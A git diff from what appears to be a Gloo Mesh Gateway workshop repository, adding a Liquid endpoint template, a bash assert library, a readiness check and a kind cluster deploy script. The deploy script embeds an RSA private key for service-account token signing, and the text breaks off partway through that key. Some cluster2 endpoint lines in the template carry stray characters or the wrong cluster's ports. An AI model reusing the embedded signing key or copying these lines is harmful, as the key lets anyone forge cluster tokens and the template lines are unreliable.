TAwMWZcXMUzclRmr+lcdTAwMThqR93wXHUwMDA3WZRgpaREpmokQJ9wllx1MDAwZVwiyjJcdTAwMTFcdTAwMDFcdTAwMTRcdTAwMTDK9MZFe6nUczz08dyB81dcdTAwMWSbb0P4WZMl4IlAXHUwMDA0MWFaUbLgXHUwMDEwXHUwMDE0eXqKMYL0RYwmhqnyS2n6dvlcdTAwMTFuXGJSkvjli3NhYcbVvDizvZb58Vx1MDAxYt9wRrUpXHUwMDFifqKRw/HH9lx1MDAwNS5fdVxuhelFKkXfReP63F5K7Gw7XHUwMDE36PehwEGX97SGPVSXxtNahb1cdTAwMGa77lTA/YKLYVx1MDAxZNBy6FNcdTAwMDElPHNZTSVUoJdcIrjL0X85Q3oqXHUwMDAwWs6v7pVcdTAwMDRzbk9ablx1MDAxZodcdTAwMDJSS83BslxmcdDkXHUwMDExXHUwMDBlXHUwMDA1ur1xpNGdu96+9GhgXHKpW/VcdTAwMGbap7k9L+Xau5JcdTAwMTFcdTAwMTeMSZDp4Cd5zXTkdaLiiZvObJhmz4nL1CsthDtcXGXOS6X3OVx1MDAxZTftXHUwMDFhwWSeXHUwMDE395Te3Z+ChKvsl5iaMlNK8zDXNPJTl9dPxeRk2KlcdTAwMTXaxWRHd9h9LyEju2vhXHUwMDAzXHJ7KL5bXHUwMDFm8GG9k1x1MDAxYpdcdTAwMGItdcWmXHQhe1x1MDAxNy97XHUwMDE4d1ZPV7KF91K0fFeblIapZ9ktVvYw7mndtT982HVcdTAwMDTS/YJcdTAwMDFn+1jvXHUwMDE2bovX/O5OlmL6TbSHz12PzolflrztWWRcdTAwMDV5XHUwMDA2ZXKGKFOb5G3736YwXHUwMDEzU1x1MDAxZjUnlIX2pOb2wkw510qhY3ZcdTAwMDBcbiEzPVx1MDAwNitdQ+mcVfpcdTAwMDIwUk8xpd5NvDRsXo04XHUwMDBmLqcvkXdcdTAwMWF7f0pcXJfuK9nuoFx1MDAxNj2nj2JcdTAwMWIy+oVSqrS2XGIxpJtcYqnIipRcIqItkFxmLlxiZ0DOd6tk7nlCzVxc2KdL0FxuUkSaJkbHk9BdYlY+XHUwMDFlXHUwMDFid7nnVqN6pVx1MDAxMom3XHUwMDE5aj9cdTAwMTVcdTAwMWbR4bWXq/xcdTAwMDeOWamPx/1So1x1MDAxYrpQXHUwMDE1l3n5yr/3QS3z6WZAXHUwMDEwo1x1MDAxYnmQ/O9xOFx1MDAwMUBTY2/ieTNL5IhPQT+OaTlFwpyWXHUwMDFjRv6RtpggWlx1MDAxMIop5US5xLApZWnTS45IjVx1MDAwNdfa2cRUXG6OMCbHbGRcdTAwMTCKXHUwMDE4XHUwMDE1fyV0tlx1MDAxMqNcImCTXHUwMDEzhlx1MDAwNcFcdTAwMThWXHUwMDFl297mjFHBiOktY1Sw7uB8XHUwMDEzd9r374NyY3jfyolcdTAwMTH3mJQgXHUwMDAytJHgjMLOQ9JcdTAwMTk3Q5BFNCFA7JCWXHUwMDFj3uxsMHNSh8Te+988XHUwMDFjO38x3l/2n1x1MDAxYkNcdTAwMWZcdTAwMTWeXHUwMDFkIzBRlCxcdTAwMDWprkO+XHTpYVq/anTL5Wr1anKj5UXTq39paExcdTAwMTRccqvq04ZcdTAwMWQhbnOe05VpbVx1MDAxNFDvWZZcdTAwMThMJNtDXHUwMDExl1x1MDAxZVZ4MenfWFx1MDAwN5IhMZEhXHUwMDBl3/2ioJSlV05J6j1vvHlcdTAwMDAkbCjlXlx1MDAwNlx1MDAwZfVO6VaIg1UuN2hcdTAwMWLQmuqbRPeTXb/HX4tXXHUwMDExPeqPY9ehXHUwMDE3ctONiVPTPeDH87KQg1x1MDAxOFlcdTAwMDRhxkD8YbF8YnBcdTAwMDPEgXhcdTAwMTZcdTAwMWZfrPHCXHUwMDA1YbvUr3Ru0HtcdTAwMWNcdTAwMTFxRFx1MDAxZsRhxXorXHUwMDFmxFx1MDAwN3Z3P6ild1x1MDAxZd7mgHlsJYKMeltcdTAwMTimi6hcdTAwMDS7OriPIVx1MDAxMevdv83eU8On9/jsulSINtB1+OstU1xudoSkyHSEhGfmlMEginZcdTAwMTdcdTAwMTEkbuVZXHUwMDFkXCKIXHUwMDE1TE6B2fMtgmd2XHUwMDExJCFcdTAwMTFBsq1cYnpSXdBcYlphvIFcdTAwMTbMp/Kli0Q+3Zio2N3r+Vv3MqJD37HQ5KZRi+PfJZO5U1x1MDAwNG3Zoz6OvoOrQUxcdTAwMTVcdTAwMDVdLcmJOvqmmVxcqn//XHUwMDExlZXojJdn/Wo53ktcdTAwMWPJ0ffnKFnhXfGSacFcdTAwMTnmJLiIX12zdDVcdTAwMTKZVEasdYmT9X70cZBcdTAwMGa/iFx1MDAxM1x1MDAxMGLKvMxZI+JGw1wigFx1MDAwMCS4d0/mL1CzWFx1MDAxMlx1MDAwMFx1MDAxYaRCLOLfanZzIVSeh96UU4GZ3KAxcOojpVx1MDAxZcbPd8Xkfaw/k3dcdTAwMWb8llVPQ1x1MDAwNlx1MDAxOVFcXGLzLPSyXGZcbsW+QFx1MDAwNl1SPJ0yqJXCXHUwMDFhk39vTud2XCJIQ1wignSXXHUwMDA2IbYza4fFXHRmXHUwMDE4wVxcXHUwMDA3tzij6cSdTnXO269cdTAwMTdXmfzt3ezh/T5cdTAwMTXyQy3YXCJcdTAwMTZGv1x1MDAwYvnRJSnkWHCLc1x1MDAwNDtJXHUwMDEyivVuUrjfXHUwMDEwS1OxXHJMZHFM1+4uMZZcdTAwMGYv/Y9mOXk/fuxdospLPl9cdTAwMWPfXFyFN1x1MDAxOPLUkn9cdTAwMGW0vKc17KGSf05rXHUwMDE1TmXYdSGh7lx1MDAxN1xcXGbrQKxDh25q5tlyXHUwMDA3lKdcdTAwMDJTUqjgXHUwMDA3o/7rXHUwMDE5Ulx1MDAxYVx1MDAwYvpT+ulPRS20J/25nzq4hCC4Md9pRT82+E9cdTAwMGU5XHUwMDAyhlgpXHUwMDBlK2d3vYo7qz1QXHUwMDA051x1MDAxYca4ynWX5rk967WnXHKtyq3gknNcdTAwMTNBXHUwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-4/airgap/standalone/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/assert.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/check.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn 